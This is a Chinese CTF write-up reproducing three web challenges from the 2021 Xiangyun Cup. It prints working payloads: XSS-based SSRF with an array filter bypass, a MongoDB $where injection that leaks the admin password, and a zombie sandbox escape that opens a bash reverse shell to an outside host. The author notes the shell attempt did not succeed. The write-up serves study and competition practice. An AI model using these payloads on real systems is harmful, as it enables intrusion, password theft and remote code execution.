不得不给buu打个广告了,真的很给力,想复现祥云杯的一题给错了另一题的源码,反馈之后,很快就解决了。
[2021祥云杯]secrets_of_admin 下载源码,在database.ts找到账户密码,成功登录。
跳出一个Content的输入框。
审计源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 router.get('/api/files', async (req, res, next) => { if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { return next(createError(401)); } let { username , filename, checksum } = req.query; if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") { try { await DB.Create(username, filename, checksum) return res.send('Done') } catch (err) { return res.send('Error!') } } else { return res.send('Parameters error') } }); router.get('/api/files/:id', async (req, res) => { let token = req.signedCookies['token'] if (token && token['username']) { if (token.username == 'superuser') { return res.send('Superuser is disabled now'); } try { let filename = await DB.getFile(token.username, req.params.id) if (fs.existsSync(path.join(__dirname , "../files/", filename))){ return res.send(await readFile(path.join(__dirname , "../files/", filename))); } else { return res.send('No such file!'); } } catch (err) { return res.send('Error!'); } } else { return res.redirect('/'); } });
content我们可以控制输入,输入的内容被写入在/api/files/一个文件中,名称可由传入checksum控制
可以利用content构造xss进行ssrf任意文件的读取,然后再访问即可得到我们读取的内容。
这里通过制造pdf功能来实现,构造payload:
1 2 3 <script> var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send(); </script>
filename的参数需要注意,不能重复,所以不能直接用flag,我们可以进行任意文件读取。
但是存在xss的检测,由于这里是Express的框架,includes()的检测对数组不起作用,我们用数组绕过。
最终的payload:
1 content[]=<script>var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();</script>
然后访问api/files/123得到flag。
基于filename不能重复, 并且路径是拼接的,我们可以随意构造一个目录,再跳出来。
1 <img src="http://127.0.0.1:8888/api/files?username=admin&filename=abc/../flag&checksum=123">
这里没有使用pdf功能,是因为HTML转PDF时,HTML里面的资源也需要加载进来,比如图片,CSS样式等等,所以请求了这个资源就可以进行ssrf。
再补充一种payload:
1 <script>self.location.href="http://127.0.0.1:8888/api/files?username=admin&filename=abc/../flag&checksum=123"</script>
参考:
第二届“祥云杯” WP-第三部分| WHT战队 - 知乎 (zhihu.com)
祥云杯2021 Web复现_feng的博客-CSDN博客
[祥云杯2021 web wp | Z3ratu1’s blog](https://blog.z3ratu1.cn/祥云杯2021 wp.html#more)
[2021祥云杯]Package Manager 2021 看到schema.js,可以知道使用的数据库是mongodb
在/auth发现存在sql注入
1 2 3 4 5 6 7 router.post('/auth', async (req, res) => { let { token } = req.body; if (token !== '' && typeof (token) === 'string') { if (checkmd5Regex(token)) { try { let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec() console.log(docs);
存在一个waf,
1 2 3 4 const checkmd5Regex = (token: string) => { return /([a-f\d]{32}|[A-F\d]{32})/.exec(token); }
我们可以绕过,直接sql盲注出密码。
1 123456789123456789123456789123456789"||this.password[0]=="!
还有一个更优秀的方法,
1 MongoDB支持js的语法,所以可以用js语法去抛出内容为admin密码的异常。
payload:
1 123456789123456789123456789123456789"||( ()=>{throw Error(this.password)})()=="admin
参考:
祥云杯2021 Web复现_feng的博客-CSDN博客
[2021祥云杯]cralwer_z 考点:zombie的Nday漏洞、变量覆盖
下载源码之后,好好审计一下代码。
关键代码在user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 router.post('/profile', async (req, res, next) => { let { affiliation, age, bucket } = req.body; const user = await User.findByPk(req.session.userId); if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") { return res.render('user', { user, error: "Parameters error or blank." }); } if (!utils.checkBucket(bucket)) { return res.render('user', { user, error: "Invalid bucket url." }); } let authToken; try { await User.update({ affiliation, age, personalBucket: bucket }, { where: { userId: req.session.userId } });
这里bucket会把值赋给personalBucket,然后再看看/verify路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 router.get('/verify', async (req, res, next) => { let { token } = req.query; if (!token || typeof (token) !== "string") { return res.send("Parameters error"); } let user = await User.findByPk(req.session.userId); const result = await Token.findOne({ token, userId: req.session.userId, valid: true }); if (result) { try { await Token.update({ valid: false }, { where: { userId: req.session.userId } }); await User.update({ bucket: user.personalBucket }, { where: { userId: req.session.userId } });
如果token的值正确,就会将user.personalBucket赋给bucket。
这里有个过滤
1 2 3 4 5 6 7 if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) { res.redirect(`/user/verify?token=${authToken}`) } else { // Well, admin won't do that actually XD. return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." }); } });
但是这里有个变量覆盖的问题。
我们分三步,先获得token的值,再构造自己的ip地址,然后修改personBucket,最后用第一次请求的token值,再将personBucket的值更新到bucket中。
下面复现一个zombie漏洞:
在自己的vps上放上exp.html
1 <script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/http://172.16.152.237/6666 0>&1'],);console.log(ls.output.toString());")()</script>
然后正常请求,获得token的值,然后修改bucket的值提交
1 http://172.16.152.237/exp.html?a=oss-cn-beijing.ichunqiu.com
最后再输入一次token的值请求更新bucket。
最后通过/user/bucket
路由反弹shell
这里用的是buu内网来复现的,应该是ip的问题,没有成功,后面补上。